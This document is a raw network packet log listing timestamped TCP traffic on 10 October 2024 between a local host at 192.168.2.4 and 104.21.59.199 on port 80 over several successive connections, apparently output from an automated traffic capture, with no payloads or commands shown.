Oct 10, 2024 21:02:25.450025082 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.450151920 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.454684973 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.454749107 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.454802990 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.454857111 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.454916000 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.454946041 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455063105 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455110073 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455136061 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455220938 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455415010 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455441952 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455467939 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.455611944 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.459728956 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.459974051 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.460000038 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.460046053 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.460072041 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.460098028 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.460123062 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.745024920 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.756185055 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.761598110 CEST	80	50436	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.761662006 CEST	50436	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.886604071 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.891875029 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:25.891978025 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.892456055 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:25.897476912 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.339474916 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.340579033 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.340670109 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345410109 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345608950 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345637083 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345659018 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345666885 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345678091 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345695019 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345709085 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345735073 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345741034 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345771074 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345782042 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345797062 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345812082 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345837116 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345861912 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345889091 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345904112 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345915079 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.345933914 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.345956087 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.350680113 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.350727081 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.350754976 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.350797892 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.350821972 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.350863934 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.350883961 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.350924969 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.350956917 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.350984097 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351000071 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351011038 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351037025 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351037025 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351057053 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351083994 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351087093 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351109982 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351125956 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351140976 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351166964 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.351216078 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.351289988 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.355753899 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.355801105 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.356003046 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356139898 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356554031 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356580019 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356606007 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356632948 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356678963 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356705904 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356831074 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356858015 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356883049 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356909037 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.356986046 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357053041 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357080936 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357112885 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357140064 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357166052 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357213974 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357240915 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357265949 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357312918 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357340097 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357366085 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357392073 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357418060 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.357443094 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.360759020 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.650908947 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.660257101 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.665707111 CEST	80	50441	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.665760040 CEST	50441	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.854629993 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.859839916 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:26.860112906 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.860656023 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:26.865681887 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.305277109 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.306684971 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.306797028 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.311773062 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.311948061 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.311975956 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312002897 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312031031 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312134027 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312143087 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312143087 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312242985 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312251091 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312278986 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312304974 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312315941 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312338114 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312357903 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312364101 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.312395096 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.312421083 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.317570925 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317619085 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317646027 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317672968 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317718029 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317743063 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317759991 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.317769051 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317856073 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.317868948 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.317953110 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.317996025 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.318077087 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.318115950 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.322895050 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323168993 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323270082 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.323544979 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323573112 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323599100 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323628902 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.323687077 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.328308105 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.614746094 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.627201080 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.633724928 CEST	80	50447	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.633794069 CEST	50447	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.741076946 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.746083975 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:27.746181011 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.746679068 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:27.751749039 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.200489044 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.201226950 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.201423883 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206217051 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206399918 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206427097 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206455946 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206500053 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206562042 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206615925 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206629038 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206675053 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206684113 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206700087 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206717968 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206729889 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206743956 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206768990 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206774950 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206800938 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206826925 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.206829071 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206856012 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.206881046 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211476088 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211503029 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211543083 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211580992 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211590052 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211639881 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211651087 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211709023 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211821079 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211873055 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211926937 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.211982965 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.211999893 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212052107 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.212188005 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212215900 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212256908 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212259054 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.212305069 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.212357044 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212383032 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.212446928 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.212487936 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.216614008 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.216670036 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.216752052 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.216895103 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.216975927 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217020988 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217180967 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217294931 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217551947 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217623949 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217649937 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217674971 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217720985 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217746973 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217772961 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.217799902 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.221537113 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.522022009 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.536137104 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:28.541486979 CEST	80	50453	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:28.541560888 CEST	50453	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.007647038 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.012671947 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.012742996 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.013106108 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.017947912 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.466840982 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.467698097 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.467809916 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.473253012 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473315954 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473346949 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473396063 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473423004 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473520041 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.473520041 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.473530054 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473557949 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473583937 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473612070 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473634958 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.473638058 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473664999 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.473687887 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.473717928 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.478646040 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478693962 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478719950 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478745937 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478794098 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478820086 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.478835106 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.478954077 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.478977919 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.479083061 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.479089022 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.479156017 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.483941078 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484013081 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.484091997 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484292030 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484411955 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484442949 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484488010 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484617949 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484667063 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484695911 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484842062 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484868050 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484940052 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484966040 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.484992027 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485038042 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485063076 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485093117 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485117912 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485165119 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485222101 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485248089 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485274076 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485317945 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485343933 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485368967 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.485394955 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.489073992 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.774277925 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.783849955 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.800308943 CEST	80	50461	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.800725937 CEST	50461	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.895031929 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.900331974 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:29.900405884 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.900892973 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:29.905987978 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.454582930 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.456043005 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.456322908 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.461385965 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465428114 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465457916 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465485096 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465498924 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465512037 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465538979 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465543985 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465543985 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465559959 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465565920 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465593100 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465620041 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465622902 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465641022 CEST	50467	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:30.465646029 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465672016 CEST	80	50467	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:30.465673923 CEST	50467	80	192.168.2.4	104.21.59.199
